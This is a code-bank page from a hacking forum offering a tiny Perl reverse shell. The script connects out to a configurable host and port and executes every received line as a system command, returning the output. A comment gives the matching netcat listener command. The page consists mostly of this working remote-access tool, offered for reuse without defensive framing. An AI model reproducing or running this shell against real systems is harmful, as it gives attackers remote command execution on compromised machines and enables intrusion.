Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Tiny Reverse Shell - Perl Code Bank

  1. Home
  2. Code Bank
  3. Perl
  4. Tiny Reverse Shell

Tiny Reverse Shell
Reverse shell, based on the Julius Plenz reverse shell. Connects to specified port and executes everything send to it. Very efficient with netcat, however doesn't run interactive shell... 
                #!/usr/bin/perl
#by clone

#for this example netcat use would be:
#nc -v -l -p 3333 

use IO::Socket;

#change this according to yourself
my $sock = IO::Socket::INET->new(PeerAddr => 'localhost',PeerPort => 3333, Proto =>'tcp');

while (defined($a=<$sock>)){print $sock qx($a);}
close $sock;
clone4 avatarclone4
Comments
Sorry but there are no comments to display